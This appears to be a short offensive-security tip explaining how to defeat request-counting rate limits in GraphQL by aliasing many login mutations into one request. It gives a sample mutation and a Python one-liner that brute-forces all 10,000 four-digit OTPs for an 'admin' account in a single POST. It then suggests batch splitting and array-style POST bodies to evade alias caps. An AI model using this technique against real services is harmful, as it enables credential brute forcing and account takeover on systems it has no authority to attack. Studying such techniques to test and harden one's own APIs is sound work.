Abuse GraphQL aliasing to smash rate limits

Rate limiting that counts requests, not operations, collapses under GraphQL aliasing. One POST can carry hundreds of aliased mutations that all execute server side.

mutation {
  a1: login(user:"admin", otp:"0001") { token }
  a2: login(user:"admin", otp:"0002") { token }
  a3: login(user:"admin", otp:"0003") { token }
  # ... generate 0000-9999
}

Generate the document programmatically and fire once.

q="mutation{"+"".join(f'a{i}:login(user:"admin",otp:"{i:04d}"){{token}}' for i in range(10000))+"}"
requests.post(url, json={"query":q})

Pro note: if the server caps query depth or aliases, split into a handful of large batches. Also test @batch and array-of-operations POST bodies, which many gateways rate limit as a single call.